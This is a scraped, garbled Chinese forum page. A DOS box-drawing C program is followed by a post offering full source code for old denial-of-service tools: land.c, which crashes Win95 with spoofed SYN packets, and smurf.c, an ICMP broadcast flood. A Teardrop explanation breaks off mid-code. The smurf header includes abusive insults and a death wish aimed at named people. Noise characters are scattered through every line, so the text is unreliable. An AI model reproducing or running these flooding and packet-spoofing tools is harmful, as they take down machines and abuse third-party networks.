8 S/ Q9 K8 ^# w<FONT color=#009900>/*
' _4 \0 H7 D- N4 f# u  X. V* F*! M3 ?" _, }" D2 e, Q* J4 H
* Short driver module; P- {% _* K& O9 _  a
*4 _% U4 t; w1 [; P, q
*/</FONT></P><><FONT color=#009900>main()! M2 @, l) A- T8 w
{1 x0 s# c6 \3 q7 M; h0 V
clrscr();1 d& N% ^8 @1 g$ z9 M/ q
box(1,1,23,79);4 @$ F/ ^' E8 C" e- F, I9 M1 A
box(2,2,21,77);1 n: R1 Q4 ]# X& f
box(3,3,19,75);
6 M1 U0 a: S. _  A9 \& G9 Vbox(4,4,17,73);
" i  U, c+ Y; ^; @box(5,5,15,71);( L, d: I0 \& t& W; @' `" x& L# y
box(6,6,13,69);
& j' H2 P" a) }, N/ X/ Vbox(7,7,11,67);
, S  L3 X- r+ bbox(8,8,9,65);' J. P' \9 |0 P! D6 s* A- D
box(9,9,7,63);
9 q4 C5 B0 D' Gbox(10,10,5,61);
4 W# v' n1 I) t- ]3 T7 h$ S6 }box(11,11,3,59);
' o( z" v: H- y7 pbox(12,12,1,57);
% I& ?+ U9 V( D$ m* L* \7 y) N  C4 dposcur(24,1);( k$ y* p9 {; g0 A
}</FONT></P><><FONT color=#009900>/************************************************************8 v9 u7 G' o6 ]" J
* BOX *' ~4 l: S! G& s) w/ a
*----------------------------------------------------------*  [4 H- I1 {. H# b% @2 M
* Written by: Jeff Ebert 7/01/87 *- C" U8 [7 F* G' e# ]) u
* Modified by: xxxxxxxxxx *
# }+ w1 X6 a3 `9 P! q% b: _8 M* *
9 N& J$ g3 g7 u3 e3 I' P4 t2 R5 O* Please modify me! *0 n( ~( {/ o/ Z! K% x4 j
* Possible Enhancements include but are not limited t *
; B. ]: ~. S. W' O3 w! \1 c- ~3 ^! K4 |* 1) Variable box character styles [1 line or 2] *: K  N" z; S5 v" L! j( }
* 2) Error checking *- q5 ?- I; r! E' W. @2 w
* 3) Color options *) \( Z$ d+ d0 X# n; E
* *
* q7 k) p! K5 M- d* *1 N) e# Z5 x5 t  p' ~% _  i
* This function builds a simple double frame for a menu. *
4 b0 m) |& f7 K3 a  x* The function is passed the parameters for the upper */ F2 c5 O  @5 k7 B' L1 ~2 y1 s4 @
* left corner row, upper left corner column the height *; |: J+ ~7 L4 ^& R# ^' A2 K! s
* of the frame and the width. *
5 a0 ~! z4 ?4 ^' c" R* *
0 f% S6 C$ [! F3 B, K' _2 k************************************************************/2 R) i. y2 V, |2 Q; b
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
# U9 j3 V# C9 U/ x" r- |" V#define URCOR 187
0 m$ n- m+ v, X. x" i  Z: g#define LLCOR 200
% ]' O/ t- j' }% Q7 q#define LRCOR 188
9 V! ]7 o0 x4 T' z#define VBAR 186: R; z! r# @% A  e
#define HBAR 205
& L% h/ Z! z; j) X) k& y#define ESC 27</FONT></P><><FONT color=#009900>  t; _( i) f, _& g7 i3 U
box(row, col, hgt, wdth)- n) E, o6 n8 D# J
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{% R( Y; t3 S8 I4 Z  M
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);# B1 n" W- P( U
putchar(ULCOR);
3 ]9 C# v% q" F5 W( Ofor(x = col + 1; x &lt;=(col + wdth -1); x++)0 A% W% [' o: j' Y1 F
putchar(HBAR);3 Y' t3 ?" i9 [3 H; d. M
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){/ L! B' p: L( h. D; _) K
poscur(x,col);
1 H- {* \; I* Qputchar(VBAR);* x/ x8 |2 J6 |4 p
poscur(x,col+wdth);
1 \! F( w" p9 C5 r0 L+ |9 f3 jputchar(VBAR);
; e9 ~7 X' @" `5 F  {% D}
# t, r, ~! a- X+ jposcur(x,col);
) ?) A- q; B: G3 Aputchar(LLCOR);
) U0 w1 T: |( y/ u, R  kfor(x= col + 1; x &lt;=(col + wdth -1); x++)
% ~/ F( {% F8 K3 jputchar(HBAR);
4 [& q& |7 ?7 [putchar(LRCOR);
8 O9 y2 l2 A7 w3 i- A" g}</FONT></P><><FONT color=#009900>/********************************************************
- q9 W$ _( b2 R* POSCUR *  }1 d. E7 `3 p) I& l
*------------------------------------------------------*% ]8 Y9 Q0 A3 E2 I; ~3 @1 P
* This function positions the cursor at the specified *% k. X# v  W) G5 L  K+ b
* x,y coordinate. It uses the ANSI standard ESCAPE *
9 t, K  ~( H3 G( N2 s* z5 C* sequence to produce the desired effect. Its not the *
- @* p2 ^" [7 z6 k' W4 Q* fastest way to position the cursor, but perhaps the *
( ?! r" F$ R. W* V% p- @* most portable. *
  w5 N  y1 y, o( M* *
) T3 z% X( E* q' w+ f********************************************************/
$ d& C0 V* U4 R) N( Z  [poscur(xcor,ycor)* a& f! Q, c3 C5 J$ w* H
int xcor,ycor;/ @8 U& f0 ^4 S: u2 H
{ $ W) ]9 I7 w, z4 Q5 y/ e) V
printf("%c[%d;%dH",ESC,xcor,ycor);
& v  ^0 k- A, V" i+ ?/ ]}</FONT></P><><FONT color=#009900>
/ m$ |1 u# r  c; ^/ i' b+ l7 q/********************************************************# x+ D2 x: q- O( N8 T+ |- s3 k
* CLRSCR *" `& {: Q9 |1 h8 n9 ^5 z
*------------------------------------------------------*$ Z6 R/ n* |5 G3 P% N4 e
* This function positions the cursor at the specified *
: H  Q' C. _  p, K+ s0 i* x,y coordinate. It uses the ANSI standard ESCAPE *
8 u6 C/ W# b7 h. W4 E1 w* sequence to produce the desired effect. Its not the *2 H; K: I4 a2 g
* fastest way to position the cursor, but perhaps the *
0 l' G( B4 a$ o8 ~* p' Q/ \* most portable. *
# a& U$ e$ F* l* *1 p, Q/ I' s( Z8 T7 J) S; h
********************************************************/
: l6 N  q7 m  @clrscr()
$ d; M- G0 R0 _{ $ X6 N3 F0 T0 j6 j/ [& R4 U2 ?* f# q
printf("%c[2J",ESC);9 j  ~% Z! j' p& ]0 @
}</FONT>& v6 O( \( o. v6 s
</P>
作者: 韩冰    时间: 2004-10-4 02:40
<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
! f1 c' I3 k0 E# u2 m这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自2 ]8 ?5 `/ r$ Q' b0 V9 y
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
) |+ e2 U# d) c& B<FONT color=#009900>/* land.c by m3lt, FLC
$ |9 A: B( L* T9 x8 z* zcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
( D& b! a1 r7 y  d) Z* n9 Z#include <NETDB.H>
- R+ Y: j( G( g' @' p1 `#include <ARPA inet.h>- Z7 d3 m: y7 `- W' C% E
#include <NETINET in.h>: f! L& N8 m/ ]' O. }
#include <SYS types.h>
8 `5 ^6 ~3 }' k$ V% B#include <SYS socket.h>' N* Z( [# @/ ]) ]* V' ]+ p
#include <NETINET ip.h>
4 K" g% v0 ?2 H4 l. N& }#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头4 U3 B+ ?! j& p( N) M
struct pseudohdr
) O' H+ l3 \' ]( V( b* z( i{& U! P( f/ R) D0 H. E- Y& O, ?  M  V1 y
struct in_addr saddr;
1 l( U. y! ~8 r! \/ J) N, c3 `struct in_addr daddr;
- _  i( w1 U: U2 ~- tu_char zero;
# ~! T( h1 i+ Y) S4 e# Wu_char protocol;
. I; k3 ?7 M6 d& E! `u_short length;
3 D/ M6 F) g/ A, @  v$ q, [struct tcphdr tcpheader;7 p% Y; R5 |2 }8 }( ?
};</FONT></P><><FONT color=#009900>//计算IP校验和
. U: r; _6 f( \  S: Ru_short checksum(u_short * data,u_short length)
4 w8 D6 y2 s4 U; W{" _; g% t7 K3 d  c1 ~
register long value;
* d& \( B# j1 E/ f5 \7 ju_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
6 j) O( s% Z  W0 W# U/ M* pvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)! Y  l9 R$ g1 C# z
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
7 }8 r1 x6 s6 l7 {- D8 I}</FONT></P><><FONT color=#009900>9 n) _. r# e# v- k* @
int main(int argc,char * * argv)
& L/ c( V! F6 C. c/ W) B& `7 O{" m3 u; D- N+ ]
struct sockaddr_in sin;: o5 R/ ?3 L+ m( m* k. c! O+ W
struct hostent * hoste;  A: H+ F" r0 ]
int sock;
+ a9 {% u, [" j2 cchar buffer[40];
! p) K3 X  k! {; U5 ?7 ?4 X+ rstruct iphdr * ipheader=(struct iphdr *) buffer;; p: l- I. z) A1 c+ M& F3 v3 v% H8 a
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
9 ^: q* z1 A& z9 |struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
. t) X8 l5 H- ]; F3 K{
% k7 a2 S3 H" m1 M2 efprintf(stderr,"usage: %s IP port\n",argv[0]);1 w( M. t6 P+ w0 z3 [) g8 d
return(-1);* N# T, L; P+ M3 }, `4 z2 {
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
/ n8 j6 ?4 b1 N$ u" [  L" j! lsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
8 Y$ H+ b% o) r6 y7 H7 |* m. `! Ebcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
# Q5 P/ u. S0 V' H, Velse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)$ p! P! `  s5 o5 m' ]
{
: x6 `' }% a6 T! |fprintf(stderr,"unknown host %s\n",argv[1]);6 @# ]2 N3 {. A8 v5 V
return(-1);7 a# R; M* P1 g
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
- |/ k* D% G8 M  G% w{
2 x9 j* g" p: D& g4 {+ lfprintf(stderr,"unknown port %s\n",argv[2]);
" r* p: G$ h( ^- Areturn(-1);: }* Y! {2 l: f% C( W
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
8 x( l7 x' c+ c, L% l# Dif((sock=socket(AF_INET,SOCK_RAW,255))==-1)
" L+ R1 c9 A* J1 P7 I/ q" v{
: g2 h0 v# H. y2 X) M. _fprintf(stderr,"couldn't allocate raw socket\n");
; E1 v2 `! E$ l) S; b& f' jreturn(-1);9 ~- |  T; a$ O4 w. A( W7 l. j4 n
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
) d# z1 \" x4 E$ E& I/ vipheader-&gt;version=4;
9 F, U% _# @% L6 _ipheader-&gt;ihl=sizeof(struct iphdr)/4;
: V2 a) @" X( b- G. n; R6 uipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));4 K, C6 H% h( P* g; A! \
ipheader-&gt;id=htons(0xF1C);
9 A6 @% a0 d" M/ J! bipheader-&gt;ttl=255;
1 b  }; r/ K+ g& l& ?$ O7 tipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同3 j* \& U: A, K- \4 w
ipheader-&gt;saddr=sin.sin_addr.s_addr;
; n$ }1 ~# u& W/ ~ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
% U6 L: s2 h3 |0 Otcpheader-&gt;th_sport=sin.sin_port;
' J+ Q  h: X1 [tcpheader-&gt;th_dport=sin.sin_port;: {9 ?4 ^. @1 N0 u. t
tcpheader-&gt;th_seq=htonl(0xF1C);5 d) M4 u( i) d) {9 d) }% Y* W. q' d
tcpheader-&gt;th_flags=TH_SYN;
1 l2 C9 w& h" `: Ftcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
" c) X- a+ l2 ctcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
+ t& b2 e' |% o; B* ?$ v* Apseudoheader.saddr.s_addr=sin.sin_addr.s_addr;8 F  ]; ?/ k! x! U7 B: ~: e
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;! h: `+ u+ I- [+ H9 E1 f
pseudoheader.protocol=6;: [+ K) P: O8 M
pseudoheader.length=htons(sizeof(struct tcphdr));
/ i. Y+ Q" V3 i: o  ]bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));8 U. H6 \8 |- B+ F4 z, C
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
5 l: Y7 M! B% n+ @$ z$ e# F0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
$ X' q: D; N2 ]" a{
5 h9 R* v! ~" a9 Z; Q- Bfprintf(stderr,"couldn't send packet\n");
* i4 w, {' ~& x0 D1 creturn(-1);
& f9 f/ i, m% I}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
: V. k, ]5 y# e* z& @return(0);  }0 g3 s* v5 z( q0 F: t1 O/ b
}</FONT></P><>: p1 y( O7 v0 R0 D4 E
2 Smurf; i2 B1 o3 U; @! _
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
6 ^# Y; }. y4 s! N# f! f据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
% J8 o; I$ o( y5 m5 D4 s的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些$ h6 n* f- i; A9 y
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
0 e9 D7 p7 w9 T) E' g6 s(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
4 M" ~" D  ^9 S3 S2 g/ N4 z0 o成不可能(没有WINS服务器时)。</P><P>/*% a' B0 y7 A" S* G; }3 B
*/ q3 b9 G  g* t  B5 S
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
4 X4 I  W2 j8 [5 }*! @% b* Y# C0 N7 U7 {+ k
* spoofs icmp packets from a host to various broadcast addresses resulting5 i3 t, _4 L5 I
* in multiple replies to that host from a single packet." `% y* t6 [; \- y' O6 _3 j
*
# b* x2 U5 \$ E* mad head t
! p4 w0 b" s& S* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
  L$ _5 [* s, X! F- O* MissSatan for swallowing, napster for pimping my sister, the guy that; I) a0 r. X: N  v7 h
* invented vaseline, fyber for trying, knowy, old school #havok, kain
, A, `& h: G" y. ~  J0 N( {7 j1 M* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might5 s4 P. _) U6 P4 ~( z. V
* have missed (you know who you are).7 W6 t+ O7 W+ x1 s& m( t# P6 Q
*
6 M4 H% D* ~! R* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy& U* ?6 v2 e# p# J3 w$ T1 X1 t
* thing he is (he's -almost- as stubborn as me, still i managed to pick up2 A+ W# K( W) c3 V0 M
* half the cheque)., u* M. T0 e2 q3 j& {) d
*
+ ~( M" E: s, _! j0 G1 |* and a special hi to Todd, face it dude, you're fucking awesome.
6 m# |& X/ ^$ ?7 \  S8 A, e, m*  Y" P1 v$ V- Y
* mad anal t
# {6 E+ k6 N% y# s$ p/ `* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
1 R5 i! H6 X7 H* because they plain suck, Rolex for being a twit, everyone that& r  s  \/ u' [0 R. g& M6 _
* trades warez, Caren for being a lesbian hoe, AcidKill for being her* P, A6 o, u8 n. l! H. G
* partner, #cha0s, sedriss for having an ego in inverse proportion to2 E2 c! z. H8 K( l( V
* his penis and anyone that can't pee standing up -- you don't know what- M2 X# N; v) R  N
* your missing out on.6 K& [2 l2 ?, J. I2 }" N
*' p" z- X1 B$ h3 l0 V
* and anyone thats ripped my code (diff smurf.c axcast.c is rather$ b+ y7 _1 g: g1 h
* interesting).
. [* |1 k* ^3 e1 m*! p/ B; c, m6 u
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill7 L. a! o$ G% r) h0 A5 ]
* Robbins for trying to steal my girlfriend. Not only did you show me& X) F5 A2 L: f9 O- o$ V# q1 ~6 P
* no respect but you're a manipulating prick who tried to take away the. t, l* j) E. p% B7 f4 Y& G& F" V
* most important thing in the world to me with no guilt whatsoever, and) S, S: c. p  n0 n  d1 x1 E- a
* for that I wish you nothing but pain. Die.. k: c$ n7 q9 r! v" q& |
*
9 I% a: _7 o* E' X9 y* disclaimer:  M7 I/ E; d! t0 X7 V+ ^
* I cannot and will not be held responsible nor legally bound for the; N1 q$ u6 F) |9 }& K9 N
* malicious activities of individuals who come into possession of this
) R, n$ `1 e3 D# I* program and I refuse to provide help or support of any kind and do NOT
' Q0 U. F( @. A. s! G* condone use of this program to deny service to anyone or any machine.
% q+ y2 E" h  `5 V) K* This is for educational use only. Please Don't abuse this.
- i9 T# Q+ A, \- h*
( r8 k+ E7 z+ h9 r) N! X  M* Well, i really, really, hate this code, but yet here I am creating another
/ X2 ?' v- `% x1 O* W( x* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
0 j) d+ R! z) }5 h& b- k$ F" q# D* like most programmers don't like seeing bugs in their code. I saw a few
9 b, v/ J+ N# K* things that should have been done better or needed fixing so I fixed
9 d5 z( W8 c) B( y) N* them. -shrug-, programming for me as always seemed to take the pain away
$ v$ n/ |( p* S9 ]; B6 ~2 h: S* ...- P) A# e" U% E) J& p
*
1 V/ r1 J; K  I! b9 L, V. `4 G: |5 _# n*8 O' W$ Y: P  G
*/</P><P>#include <SIGNAL.H>6 y) M' G$ ?& b* A* r4 Y
#include <STDIO.H>
) C3 s2 z& Q- O- x8 {#include <STDLIB.H>
* x3 O, S7 D$ b, T7 ?! j' }#include <SYS socket.h>8 u+ h( v3 |2 L) g! e) `+ J
#include <SYS types.h>
; ~9 `  g6 b% u( h* I#include <NETINET in.h>
$ o9 }2 v% H. D: K1 K6 P+ z" W#include <NETINET ip.h>& G  r! P  M8 L7 |) ~! _" t
#include <NETINET ip_icmp.h>
$ x# h% t$ x2 Q$ v  w, {8 I! l#include <NETDB.H>
. l. A4 O# e3 v1 h" C+ o#include <CTYPE.H>+ v% v$ E/ m, p; T/ T# ]1 X( F* P
#include <ARPA inet.h>  ^5 ]& B! s  |6 [
#include <UNISTD.H>
9 r: k4 S& y2 d9 w8 T& Y3 c' x8 }" c5 ?#include <STRING.H></P><P>void banner(void);
9 ~7 F- O( C6 Y0 S* l' S6 v: b0 t1 bvoid usage(char *);
/ g$ H2 z0 ^9 F0 lvoid smurf(int, struct sockaddr_in, u_long, int);, ?# [! X$ {5 }8 s
void ctrlc(int);9 J4 s9 [1 I- n# D" w! o+ G
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */; w# F% r* C8 `) S
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
/ Z1 ]& _, \! h& {- g7 ?{/ h; p. n( o. }5 Z
struct sockaddr_in sin;/ H5 |+ D1 G$ \4 V
struct hostent *he;
5 n2 M; u9 d; H/ Q; s# bFILE *bcastfile;$ {2 W$ e; T" h3 k2 s
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
/ y' E  m3 `; C3 Wchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
+ Y9 e5 g. O, Xsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
. ^" D& ~/ @7 f  rperror("resolving source host");, D* Q. }6 z; W+ [+ ?
exit(-1);
$ g5 ~) |' g  I7 t3 Z8 ?}
1 Q+ d" Y3 e6 h; q- o  x- h5 bmemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);: L' ?. u7 A- `6 I) M5 g/ J4 ?
sin.sin_family = AF_INET;5 @& U: r. Q: g+ n0 W& Z" j1 ]. |
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);/ |3 L' x5 e! W; W7 Y# ]% I: s: q7 ^
delay = atoi(argv[4]);' {' _: G, m, T0 D3 o
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {' Z+ R, S4 n! r( l. ~# z$ A
perror("opening bcast file");
3 b0 N0 {9 ~8 ~; J4 x1 Hexit(-1);" j$ t4 T, b+ G$ S" |
}. N; \/ ~/ x% ^5 p
x = 0;9 i9 {$ z8 r! T# p3 [( {2 q  Y& Q) F
while (!feof(bcastfile)) {
: H) v; U, T& m7 }+ p2 _: ~+ Lfgets(buf, 32, bcastfile);
5 j/ \; y6 k" f6 l7 T: Hif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;. I( \  s" D8 O5 ?
for (i = 0; i &lt; strlen(buf); i++)
/ m, G- _$ C& Q) X% tif (buf == '\n') buf = '\0';1 u3 x* B7 h5 F" c7 h. s4 [. M2 w
bcastaddr[x] = malloc(32);
0 X' d: ^9 D) Lstrcpy(bcastaddr[x], buf);
* V6 ^3 Y  H8 e( o4 m$ Fx++;- h2 |# ]' d7 t# x8 E/ J" i
}
* k6 D. }( U! [  D8 s( H6 ibcastaddr[x] = 0x0;9 L* N4 D& E4 G) T. T; V2 e' d
fclose(bcastfile);</P><P>if (x == 0) {! w3 C* E- O7 s% {1 \6 g
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);! v- R* H9 f4 H
exit(-1);3 i* |0 `, Y2 R0 D0 ?
}$ V9 `/ a5 g5 e) u  h0 z
if (pktsize &gt; 1024) {1 D+ J5 x$ _+ Z3 G
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");6 M" x! j4 e1 p" r
exit(-1);$ D  h3 a' Q$ u
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
2 U& q! I1 g2 r+ |perror("getting socket");
' ~2 P1 s5 d% ]( X/ a- Y% `9 i. ^exit(-1);) G0 O+ ]" o5 J* F% ^
}. O1 Q$ J4 u, u% h. f( W8 x. V
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
5 ]; E0 R3 J* }; M) cif (!(i % 25)) { printf("."); fflush(stdout); }
: X' C, e( f' Q9 r8 O$ B6 wsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
$ O, p9 ?$ ]  z; P6 m$ Hcycle++;
% P" e; b1 g% O+ Wif (bcastaddr[cycle] == 0x0) cycle = 0;" ?$ u5 I8 {; R$ M0 c
usleep(delay);
' t7 I& q' ~6 j, C6 }% `}- H) J4 H  Z/ b# z/ p* ~* r
puts("\n\n");: f" R! s/ {5 d4 p# t- E
return 0;! v& q! D: Y; t! }7 ?' ]
}</P><P>void banner (void)
% h( p. c' n% k{* k' @, \! ]* s/ g6 `
puts("\nsmurf.c v4.0 by TFreak\n");1 p0 U! q! r# L" e
}</P><P>void usage (char *prog): q6 F+ W8 S& a9 C. C( X' l
{* m$ C% {0 Y0 O% ^/ B
fprintf(stderr, "usage: %s <TARGET><BCAST file>"- O& m, T9 G% z7 e' s+ ~5 D
"<NUM packets> <PACKET delay><PACKET size>\n\n"8 J# U# F9 _; U5 A- Y
"target = address to hit\n"
) e/ j1 s7 {) ~. J9 Q  s$ K7 q* X7 s: U"bcast file = file to read broadcast addresses from\n", i# u: G0 N, `$ M+ O5 A) Z
"num packets = number of packets to send (0 = flood)\n"
  r: q9 h2 e# v3 D"packet delay = wait between each packet (in ms)\n"
: }! b* r: ]  b) {"packet size = size of packet (&lt; 1024)\n\n", prog);% i% d. V4 M, y: x
exit(-1);9 C$ ^7 N- U$ C" A! p0 y5 @
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)% c8 ]% I3 l4 F, W. z
{
; ~0 T' \- v$ A* T5 ~struct iphdr *ip;# X4 E# I9 t. _, n1 l
struct icmphdr *icmp;9 h* l' d6 R3 k5 u! x' F
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
1 D; O. A2 @; J1 {' jip = (struct iphdr *)packet;% j: W7 p/ l$ i# C1 o' ~# A
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);- J( X, N8 Z* e- W9 B
ip-&gt;ihl = 5;
$ k  F+ r; v, Zip-&gt;version = 4;' t3 L7 u# T4 y& ?/ L4 ~7 b. X
ip-&gt;ttl = 255;7 J0 r; C; q' V) L* H+ a
ip-&gt;tos = 0;
6 d) q/ X) H0 X+ R6 |0 `ip-&gt;frag_off = 0;" z* R: D! O# X% M3 ~- s
ip-&gt;protocol = IPPROTO_ICMP;3 w3 S1 h; X7 h5 G4 e' K! p' k5 }
ip-&gt;saddr = sin.sin_addr.s_addr;
& Z$ X$ b$ c' \8 w) X* q. qip-&gt;daddr = dest;
7 t, X$ U, C) K6 Uip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));" d7 _! c+ \& r6 J4 W* B1 J0 a& N/ M- L
icmp-&gt;type = 8;* e- W8 D7 f0 g/ j4 z5 B2 A
icmp-&gt;code = 0;3 {$ t2 U" d( o  a* [% w, n/ _
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,& y) [# o0 l( a0 w
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */. w1 d9 i7 V/ O. q
}</P><P>void ctrlc (int ignored)
9 p+ p8 e5 H# d" x8 M/ f# |) L{" m  V  E3 J# K# T; j3 K. s( j
puts("\nDone!\n");5 }% N$ {9 Z+ N% R5 p
exit(1);
0 Q0 ?1 O% N/ k5 h* o8 d0 @}</P><P>unsigned short in_chksum (u_short *addr, int len)4 S" t$ g5 o+ Q0 ^
{  P# w, t7 A9 f5 _* j: x6 o4 y
register int nleft = len;# W' o$ h1 l$ |" @2 ^6 N* A2 X$ \
register int sum = 0;
1 B, Y$ j( W: ?* S/ Pu_short answer = 0;</P><P>while (nleft &gt; 1) {
+ d* r* c7 V5 V& usum += *addr++;
5 b( P- P( |/ P" u' a' Y# Bnleft -= 2;
4 T1 U+ c- _( H/ o}</P><P>if (nleft == 1) {
& W9 {5 F3 D1 X3 ?8 d. I3 \*(u_char *)(&amp;answer) = *(u_char *)addr;  o1 K/ S( I" T3 D+ N
sum += answer;4 v7 b2 J: B: h. v! `2 ?
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);4 Y, {+ s9 @/ z+ T  d
sum += (sum &gt;&gt; 16);
1 S' e. b$ f( a6 u4 j  S2 C: P; lanswer = ~sum;) Q: O2 \- {5 {* Y
return(answer);
7 H: v5 D/ v' m& W* D}</P><P>
! K. m, _! f4 I8 T, @4 g3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:! A2 m9 z/ K8 V6 |% M/ p8 Z
fp = qp-&gt;fragments;
( F3 M- {  o. f9 v) F( twhile(fp != NULL)
1 V! u% ~+ o* O' Z* L{
5 C+ Y8 B5 w& u# Fif(count+fp-&gt;len &gt; skb-&gt;len)) i! A2 Y, j  S" J, s0 B
{
- m: Q, l/ U! [  t& Uerror_to_big;( Q: p8 l7 `& l1 U# u# l- T
}  B. i9 k9 g! _
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);! y1 j' G1 o$ s4 F5 {- ?
count += fp-&gt;len;6 N: k: ]1 |, m5 Q' w- N6 K
fp = fp-&gt;next;! {# q% V- A) d& _
}4 P  K9 q, L/ m  s2 b9 o. M
这里只检查了长度过大的情况,而没有考虑长度过小的情况,9 H' y1 z( w" \4 k! Q. M; \
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:# z, H: H3 u" Y8 W, N8 |& d' i
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)  g: R; X1 p: m, D$ T
是这样处理的:2 o, {; {# k5 f; E5 i
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)( K* L. k, `  j. B6 o% b
{7 ], u. H; Z$ i0 I) T
i = prev-&gt;end - offset;
, G- b5 U  Y2 k. U7 |offset += i; /* ptr into datagram */2 ?0 t$ I) ]+ V6 {4 q" ]5 n
